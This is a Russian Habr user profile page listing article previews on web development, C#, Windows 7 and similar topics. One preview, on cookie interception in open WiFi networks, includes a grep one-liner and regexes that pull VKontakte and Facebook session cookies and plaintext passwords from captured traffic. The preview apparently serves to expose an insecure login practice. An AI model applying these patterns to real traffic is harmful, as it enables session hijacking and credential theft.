Как стать автором
Обновить
0
0

Пользователь

Отправить сообщение

Знакомьтесь, Интернет-магазин 2.0 — RIA

Время на прочтение3 мин
Количество просмотров2.1K
Как повысить скорость, юзабилити и user experience посетителей вашего интернет-магазина?
— Сделать его RIA! (Rich Internet Application)


Читать подробнее и посмотреть демку
Всего голосов 115: ↑103 и ↓12+91
Комментарии139

Управление ядрами процессора в Windows 7 или Как экономить батарею

Время на прочтение3 мин
Количество просмотров18K
Здравствуй, хабра-человек.
Как известно, Microsoft очень хорошо потрудилась над своим последним детищем по имени Windows 7 и внесла много различных нововведений, об одном из которых я и хочу рассказать. Особенно актуально, я думаю, это будет для владельцев ноутбуков и нетбуков, но и пользователи настольных систем так же могут получить профит.
Как известно, самое большое новшество в «семерке» (после GUI) — это переработанная подсистема ACPI. Тут и нормальная поддержка многоядерных систем, и управление питанием устройств, мониторинга аппаратных средств, да и много чего еще, но одна очень интересная возможность остается за кадром — речь идет об энергопотреблении и управлении ядрами многоядерных/многопроцессорных систем.
Читать дальше →
Всего голосов 34: ↑22 и ↓12+10
Комментарии32

Почему никогда не стоит просить что-то у дизайнеров

Время на прочтение5 мин
Количество просмотров4.1K
От: Шеннон Уолкли
Дата: понедельник, 21 июня 2010, 9:15
Кому: Дэвид Торн
Тема: Объявление

Привет.

Я открыла входную дверь вчера, и моя кошка вышла и пропала… Если ты не занят, не мог бы ты сделать для меня объявление? Оно должно быть формата A4, я сделаю копии и развешу их везде в моём районе днём.



Это единственная её фотография, она откликается на имя Мисси, она чёрно-белая и ей около 8 месяцев. Пропала на Харпер-стрит и мой номер телефона.

Спасибо. Шен.

Читать дальше →
Всего голосов 289: ↑265 и ↓24+241
Комментарии130

USPTO и Google сделали доступными 10 терабайт патентной информации

Время на прочтение2 мин
Количество просмотров1.2K
Патентное ведомство США (USPTO) и Google объединились, с целью массового обеспечения бесплатного публичного доступа к данным о патентах и торговых марках.

Заместитель министра торговли и директор Патентного ведомства США (USPTO) Дэвид Каппос объявил 2 июня о том, что USPTO заключила некоммерческое 2-летнее соглашение с Google с целью сделать открытые данные по патентам и торговым маркам массово доступными общественности в электронном виде. Согласно этому соглашению, USPTO будет передавать Google существующие электронные файлы, которые Google будет предоставлять общественности без изменений и бесплатно. Эти данные доступны на сайте Google patents.
Читать дальше →
Всего голосов 40: ↑38 и ↓2+36
Комментарии33

Опыт трудоустройства в Норвегии: подача заявления

Время на прочтение6 мин
Количество просмотров3K
В ответ на, к сожалению, закрытую тему об оригинальном резюме в виде USB карточки, решил описать свой частный опыт трудоустройства в Норвегии.
Читать дальше →
Всего голосов 26: ↑22 и ↓4+18
Комментарии16

Фотографии домашних офисов-2

Время на прочтение1 мин
Количество просмотров40K
После топика Бумбурума о своем домашнем офисе, думаю многие фрилансеры Хабра озадачились обустройством своего рабочего места. Представляю вам подборку фотографий интересных домашних офисов (в основном из США и Канады), большинство из которых реально реализовать и в российских условиях.
Читать дальше →
Всего голосов 98: ↑73 и ↓25+48
Комментарии191

English Exceptions в .NET

Время на прочтение1 мин
Количество просмотров424
Как меня раздражает, когда в объяснении исключения идет локализованный перевод. Ошибку загуглить становится гораздо сложнее.

Но, как оказалось, можно загуглить как обрубить локализацию исключений:

Thread.CurrentThread.CurrentUICulture = new CultureInfo( "en-US" );

Все, исключения теперь английские.
Всего голосов 30: ↑17 и ↓13+4
Комментарии15

Почему регистрироваться и писать для Windows Phone 7 нужно прямо сейчас

Время на прочтение2 мин
Количество просмотров963
Разработка под мобильные платформы в целом может быть интересна двум категориям разработчиков. Во-первых, это те, для кого технологическая платформа является знакомой, и для них писать под телефон – это еще одно расширение их портфолио. Во-вторых, это “чистые” мобильные разработчики, которые пишут под разные платформы и скорее являются экспертами в том, как создать успешное приложение для пользователей.

Мое утверждение для обеих групп – регистрироваться в Windows Marketplace и писать приложения для Windows Phone 7 нужно прямо сейчас!

Это ни в коем случае не “желтый” заголовок, и не попытка со стороны Microsoft заработать денег за регистрацию: сами посчитаете, что $100 в год (а для студентов бесплатно) * количество разработчиков – затраты на запуск WP7 = не есть цель данного утверждения.

Я говорю об этом по следующим причинам:
  1. Эта новая платформа для Microsoft, которую она всеми силами будет продвигать – к началу продаж у людей будет повышенное к ней внимание (почитайте/подсчитайте количество слухов в Сети на эту тему)
  2. Финальная версия средств разработки вышла 16 сентября и доступна для загрузки бесплатно
  3. Новый Marketplace начнет открываться для разработчиков уже в начале октября, но сейчас он пустой, место свободно. Российские разработчики включены в первую волну, можно регистрироваться из России и зарабатывать деньги.
  4. Сейчас текущий Marketplace для WM6 открыт как для разработчиков, так и для пользователей, и регистрация в нем единая (сразу и на новый, который еще не открылся)
  5. До конца года телефоны на базе Windows Phone 7 начнут поступать в продажу в некоторых странах – как раз там, где люди привыкли покупать и платить за приложения

Читать дальше →
Всего голосов 136: ↑65 и ↓71-6
Комментарии160

Мой минимальный набор приложений для Android

Время на прочтение3 мин
Количество просмотров18K
Ехала я как-то с работы на прошлой неделе, сидела в инете со своего мобильного телефончика, и поняла, что хватит — пора бы коммуникатор приобрести. Особо ими никогда не интересовалась и не увлекалась. Вообщем, ничего особо и не знала. Зашла в первый попавшийся магазин и купила HTC Hero. Меня многие потом конечно ругали, что зачем Hero взяла, надо было Legend или Desire уже брать, ну и так далее, но так как это был мой первый коммуникатор, то мне и с Героем было с чем поразбираться и поиграться.
Вот хочу опубликовать мой набор программок, которые сейчас стоят у меня на HTC. Перепробовала много разных, и вот те которые мне понравились из представленных в разных категориях.
1. Так как я много сижу в интернете через gprs, то 3G Watchdog. Программа для контроля интернет-трафика, есть возможность установить лимит по трафику на определенный промежуток времени, при приближении к которому, программа выдаст предупреждение. Существуют виджеты.
Читать дальше →
Всего голосов 156: ↑99 и ↓57+42
Комментарии164

CSS хаки

Время на прочтение4 мин
Количество просмотров126K
Браузеры и стандарты. Вечная погоня. Из-за несоответствий стандартам, из-за разных способов рендеринга страниц большая часть времени веб-дизайнера уходит на то, чтобы загладить эти несоответствия (использовать хаки). В итоге, вместо эффективной работы, дизайнер вступает в противоестественные отношения с браузерами, теряя драгоценное время.
Читать дальше →
Всего голосов 290: ↑242 и ↓48+194
Комментарии147

Небольшая система управления задачами — казнить нельзя помиловать

Время на прочтение2 мин
Количество просмотров4.6K
Хочу поделиться одной своей наработкой teamit.org. И речь не о рекламе очередного проекта. Этот проект делался как проба пера, он не закончен и вообще малопригоден для реального использования. Дело в том, что я совершенно не знаю, что с ним делать и решил спросить мнения хабрасообщества:
  1. Развивать проект дальше.
  2. Оставить как есть (может минимально развивать).
  3. Забросить и закрыть как совершенно бесперспективный.
Кому не лень вникнуть, покликать и высказать свое мнение прошу под кат
Всего голосов 12: ↑8 и ↓4+4
Комментарии7

Обработка больших объемов данных в памяти на C#

Время на прочтение7 мин
Количество просмотров88K
Хочу поделиться недавно приобретенным в C# опытом по загрузке и обработке в памяти больших объемов данных. Все нижеуказанное касается Visual Studio 2008 и .Net Framework 3.5.1, на случай каких-либо отличий в других версиях языка или библиотек.

Итак, у нас возникли следующие задачи:
1. Расположить в памяти до 100 миллионов записей, состоящих из строки, длиной 16 символов (уникальный ключ) и двух целочисленных значений, длиной 4 байта каждый;
2. Быстро находить и редактировать запись по ключу.

Читать дальше →
Всего голосов 110: ↑95 и ↓15+80
Комментарии122

Знакомство с OCR библиотекой tessnet2 (язык C#)

Время на прочтение5 мин
Количество просмотров60K
example
Буквально на днях у меня появилась необходимость распознать простой текст на картинке и совсем не было желания реализовывать свой алгоритм, т.к. знаком с теорией и знаю, что это не такое простое дело, поэтому сразу решил изучить сначала рынок готовых библиотек. Буквально несколько запросов в гугл и я понял, что ничего более подходящего мне как библиотека tessnet2 невозможно найти. Постоянно читаю хабр и знаю, что тут есть уйма статей посвященных теории OCR и очень удивился, что нет ничего о библиотеке tessnet2.
Читать дальше →
Всего голосов 77: ↑70 и ↓7+63
Комментарии21

Заметка ленивого верстальщика о SCSS и Compass Framework

Время на прочтение3 мин
Количество просмотров32K
Я изготавливаю сайты «под ключ». Начиная от дизайна, кончая заливкой на хостинг. И самая нелюбимая мною часть этого увлекательного процесса — верстка дизайна в HTML. Вроде бы ничего сложного, но многие рутинные вещи очень утомляют. Поэтому я постоянно нахожусь в поисках интересных решений в этой области.

Не так давно я начал изучать Ruby on Rails 3 и нашел очень интересный плагин для него: Compass. По сути, этот CSS-фреймворк независим от Rails, им можно пользоваться и в других типах проектов.

Расскажу-ка я вам, как Compass облегчил мою жизнь.
Читать дальше →
Всего голосов 78: ↑73 и ↓5+68
Комментарии60

Перехват cookie в реальном времени в открытых WiFi-сетях

Время на прочтение1 мин
Количество просмотров64K


На видео показан угон сессии вконтакте.ру, который почему-то до сих пор не использует авторизацию с https и передает пароли открытым текстом.
Дамп трафика собирается программой kismac в формате libpcap и параллельно парсится grep-ом с использованием регулярных выражений, что позволяет в реальном времени выводить на экран все интересующие куки и пароли. При этом не используется никаких анализаторов пакетов.

regexp для перехвата вконтакте.ру:

tail -F pcap.файл | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+»

для фейсбука:

c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}

Аналогичная конструкция будет работать и с дампом собранным с помощью airdump-ng.
Всего голосов 173: ↑158 и ↓15+143
Комментарии162

Латентно-семантический анализ

Время на прочтение4 мин
Количество просмотров98K
Как находить тексты похожие по смыслу? Какие есть алгоритмы для поиска текстов одной тематики? – Вопросы регулярно возникающие на различных программистских форумах. Сегодня я расскажу об одном из подходов, которым активно пользуются поисковые гиганты и который звучит чем-то вроде мантры для SEO aka поисковых оптимизаторов. Этот подход называет латентно-семантический анализ (LSA), он же латентно-семантическое индексирование (LSI)

Латентно-семантический анализ

Читать дальше →
Всего голосов 104: ↑101 и ↓3+98
Комментарии27

CMS своими руками. Теория велосипедостроения

Время на прочтение8 мин
Количество просмотров25K
Как много веселых ребят
И все делают велосипед.
А один из них как-нибудь утром
Придумает порох.
Виктор Цой.

image

Сначала я хотел написать в раздел «Я пиарюсь» статью о том какой я молодец и какую замечательную штуку сделал но, немного поискав в сети, я без удивления обнаружил, что я совсем не единственный в своем роде. Тогда я решил пойти от обратного: наверное, практически каждый Веб-программист хотя бы раз в своей жизни пытается написать полноценную CMS. При этом, в процессе проектирования (а это процесс, зачастую, наступает уже во время написания кода) у разработчика непременно возникают вопросы. С этими вопросами он обращается к поисковикам и попадает на сайты тех, кто по подобным граблям уже прошествовал.

Итак, я стал смотреть, по каким же запросам попадают ко мне начинающие «разработчики велосипедов», и постарался осветить некоторые вещи, которые для меня самого были неочевидны в начале работ.

Ну-с, показывайте ваши синяки...
Всего голосов 168: ↑147 и ↓21+126
Комментарии208

Особенности Google CDN

Время на прочтение3 мин
Количество просмотров28K
Сначала посмотрите на это:

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>


С помощью этого кода вы можете загрузить библиотеку jQuery напрямую из сети доставки контента (CDN) Google.

Обратите внимание, вы можете прямо указать какую версию (/1.4.4/) библиотеки следует загрузить. Но это далеко не все, что можно сделать. Путем простого изменения этой части ссылки можно творить маленькие приятности:
Читать дальше →
Всего голосов 89: ↑76 и ↓13+63
Комментарии52

C++0x: Конвертируем лямбда-выражение в указатель на функцию

Время на прочтение3 мин
Количество просмотров7.8K
По роду деятельности мне часто приходится иметь дело с вычислительными задачами. В них нередко нужно передавать указатель на функцию, чтобы, например, построить график этой функции, или решить уравнение. Кроме того, указатели на функцию обычно используются в различных GUI фреймворках, чтобы указать, какое действие будет совершено при нажатии на определённую кнопку.

В новом стандарте C++0x появились зымыкания. Не вдаваясь в подробности, замыкания — это такие объекты, которые позволяют создавать функции прямо в теле других функций. Если подробнее — замыкания позволяют создавать функциональные объекты — то есть объекты, для которых определён operator(). На хабре уже писали о них: например тут.

Мне очень понравилось нововведение и я начал им пользоваться. Но только вот незадача: по смыслу, замыкания и функции — почти одно и то же, а использовать замыкания там, где должны использоваться указатели на функции, сходу не получается. По стандарту, замыкания без списка захвата должны свободно конвертироваться в указатели на функции, но на практике такого не наблюдалось, видимо ещё не реализовано. И я задался вопросом, можно ли использовать замыкания там, где используются указатели на функции?
Решение появилось у меня после недолгих раздумий.
Всего голосов 30: ↑27 и ↓3+24
Комментарии19

Практикум Silverlight: Начинаем работать с Composite Application Library

Время на прочтение6 мин
Количество просмотров1.9K

Для кого эта статья



Данный пост будет интересен для вас если:

  1. Вы нацелены на развитие
  2. Вы работаете с RIA средой, такой как Silverlight (так же WPF)
  3. Если вы уже где-то слышали такие слова как Composite Application Guidance, Composite Application Library
  4. Вы заинтересовались статьей Павла ИвченковаСоздание приложения на WPF с использованием принципов TDD 
  5. Вам было интересно прочитать статью AcervUse Case Driven Development и Composite UI Application Block

Читать дальше →
Всего голосов 33: ↑22 и ↓11+11
Комментарии13

Информация

В рейтинге
Не участвует
Откуда
Санкт-Петербург, Санкт-Петербург и область, Россия
Дата рождения
Зарегистрирован
Активность